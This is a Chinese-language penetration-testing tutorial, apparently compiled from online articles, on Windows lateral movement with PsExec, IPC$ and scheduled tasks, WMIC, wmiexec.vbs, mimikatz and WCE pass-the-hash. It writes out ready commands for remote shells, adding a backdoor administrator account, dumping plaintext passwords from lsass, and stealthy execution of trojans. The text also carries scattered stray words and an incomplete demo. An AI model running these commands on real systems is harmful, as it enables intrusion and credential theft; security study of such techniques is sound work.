(该文参考整理自网上文章,相关连接附于文末)html
psexec是pstools工具包中的一个工具,可在微软官网直接下载。是轻型的 telnet 替代工具,它使您无需手动安装客户端软件便可执行其余系统上的进程,而且能够得到与控制台应用程序至关的彻底交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示没法经过其余方式显示的有关远程系统的信息。node
psexec针对远程创建链接的认证方式有两种,一种先创建ipc链接,而后直接用psexec \\192.168.1.2 cmd命令开启一个半交互式的cmdshell,另外一种是在psexec的参数中指定帐号密码。算法
一、经过ipc$链接,释放psexesvc.exe到目标。
二、经过服务管理SCManager远程建立psexecsvc服务,并启动服务。
三、客户端链接执行命令,服务端启动相应的程序并执行回显数据。shell
(运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数状况下会出现服务没删除成功的bug,因此通常来说不太推荐在渗透时使用psexec,可用wmic,wmiexec等)windows
获取管理员用户权限的交互式 shellsass
psexec \\192.168.17.138 -u Administrator -p pass cmd安全
获取普通用户权限的交互式 shell,要想获取管理员权限 shell ,须要添加-h 参数。服务器
psexec \\192.168.17.138 -u test -p pass cmd网络
在远程系统上以 system 权限执行单条命令,有时回显只有一行,缘由尚不清楚。session
psexec \\192.168.17.138 -u Administrator -p pass -s cmd /c "quser"
在远程系统上执行 bat 脚本
psexec \\192.168.17.138 -u Administrator -p pass c:\programdata\test.bat
拷贝文件到远程机器并以交互方式运行,运行结束后会删除
psexec \\192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe
–accepteula 第一次运行会弹框,输入这个参数便不会弹框
s 以 “nt authority\system” 权限运行远程进程
h 若是能够,以管理员权限运行远程进程
d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
\\ip 能够替换成 @ip.txt (存放多个 ip 的文本),能够批量执行命令
须要远程系统开启 ADMIN$ 共享
创建 ipc 链接后能够不指定用户名和密码
不能仅拷贝文件不执行,只须要拷贝时能够创建 ipc 链接后c opy
在启动psExec创建链接以后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,并且psexec退出时有可能服务删除失败,因此不推荐使用psexec
创建一个ipc链接
net use \\192.168.17.138\C$ "pass" /u:"workgroup\Administrator"
拷贝文件到远程系统上
copy s.exe \\192.168.17.138\c$\RECYCLER\
查看远程主机当前时间
net time \\192.168.17.138
添加计划任务在远程系统上执行命令
at \\192.168.17.138 15:18 cmd.exe /c "ipconfig /all >c:\programdata\error.log"
添加计划任务在远程系统上执行bat脚本
at \\192.168.17.138 15:18 c:\programdata\test.bat
查看at任务列表
at \\192.168.17.138
删除at计划任务,运行完成后必定要删除计划任务!
at \\192.168.17.138 1 /delete
查看全部ipc链接
net use
删除指定ipc链接
net use \\192.168.17.138\C$ /del
删除全部ipc链接(删除前记得确认是否都是本身测试中创建的链接)
net use * /del /y
WMI 的全称是 Windows Management Instrumentation,它出如今全部的 Windows操做系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操做,能够作到无日志,攻击脚本无需写入到磁盘,增长了隐蔽性。推荐使用 wmic 进行远程执行命令。
在远程系统上执行 bat 脚本
wmic /node:192.168.17.138 /user:test /password:pass process call create c:\programdata\test.bat
在远程系统上执行单条命令
wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
一、须要远程系统启动 Windows Management Instrumentation 服务,开放135端口
二、远程系统的本地安全策略的“网络访问: 本地账户的共享和安全模式”应设为“经典-本地用户以本身的身份验证”
三、wmic 会以管理员权限在远程系统上执行命令
四、防火墙开启将没法链接
五、若是报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来便可正常执行。
WMI 能够远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,因而乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也可以使用。整个过程是先调用WMI经过帐号密码或者NTLM认证(WCE注入)链接到远程计算机,而后若是提供了帐号密码,则用这个帐号密码创建一个到目标的IPC链接。随后WMI会创建一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI建立进程执行该命令,而后把结果输出到文件,这个文件位于以前建立的共享文件夹中。最后,经过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
获取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password
在远程系统上执行单条命令
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"
在远程系统上执行 bat 脚本
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:\programdata\test.bat
上面是提供帐号密码的状况,若是有时候咱们抓取到的是hash,破解不了时能够利用WCE的hash注入,而后再执行WMIEXEC(不提供帐号密码)就能够了。
Tips:若是抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash便可。
-wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令
(因为WMI只负责建立进程,没有办法能够判断命令是否执行完毕,因此脚本采用的方法是延迟1200ms后读取结果文件,可是若是命令执行的时间大于1200ms,好比systeminfo 或者ping之类的,这时候读取结果文件会致使读取的结果不完整,而后在删除结果文件时会出错。好比ping结果不能读取完整,并且命令执行完后目标服务器上的wmi.dll结果文件并无被删除!为了防止出现这种状况,因而在shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。)
-persist 程序会在后台运行,不会有结果输出
(因为正常的命令都要查看结果,因此执行的命令后面都会加上重定向符,把结果输出到文件中。 因此用这个执行木马会有问题,由于木马进程会一直存在,致使结果文件被占用,不能删除,也不能改写,若是执行不带任何参数的nc.exe也是这种效果 出现这种状况后因为结果文件被占用,因此WMIEXEC不能工做,除非手动更改脚本中的结果文件名。或者能够用taskkill 远程结束掉卡死的进程,而后WMIEXEC能够恢复工做。 为了解决这个问题,加入了-persist选项。 当命令加了persist选项后,程序会在后台运行,不会有结果输出,并且会返回这个命令进程的PID,方便结束进程。 这样就能够运行nc或者木马程序了)
下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时
间的,能够自行更改。
Const Path = "C:\"
Const FileName = "wmi.dll"
Const timeOut = 1200
须要远程系统启动 Windows Management Instrumentation 服务,开放135端口
远程系统的本地安全策略的“网络访问: 本地账户的共享和安全模式”应设为“经典-本地用户以本身的身份验证”
wmicexec.vbs 会以管理员权限在远程系统上执行命令
virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm查杀
mimikatz是一款功能强大的轻量级调试神器,经过它你能够提高进程权限注入进程读取进程内存,固然他最大的亮点是他能够直接从 lsass中获取当前处于Active系统的登陆密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登录策略,一般咱们在登录系统时输入密码以后,密码便会储存在 lsass内存中,通过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是经过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就能够经过他获取到登录密码,只限当前登录系统!
第一步:根据你系统选择对应的版本,双击打开
第二步:输入输入privilege::debug 提高权限
第三步:输入inject::process lsass.exe sekurlsa.dll 将sekurlsa.dll 注入到lsass.exe 中
第四步:输入sekurlsa::logonPasswords full 便可获取hash和当前用户的明文密码
若是内网主机的本地管理员帐户密码相同,那么能够经过pass the hash远程登陆到任意一台主机,操做简单、威力无穷。
在域环境中,利用pass the hash的渗透方式每每是这样的:
在内网渗透时,很常常会碰到好不容易提取出了hash,可是没法破解。
wce号称内网渗透神器,其中有一个功能就是hash注入。
测试环境:
目标 windows2008 【192.168.200.128】hash以下:
测试机:
windows7【192.168.200.5】
在没法破解192.168.200.128的administrator密码时,咱们能够采用hash注入
先dir目标的c$(前提是目标有开启C盘共享)
会提示帐号密码错误。
使用wce
格式: wce.exe -s 帐号:主机名或域的名字:LM:NTLM
提示注入完成。
再dir目标机器的C盘试试
参考: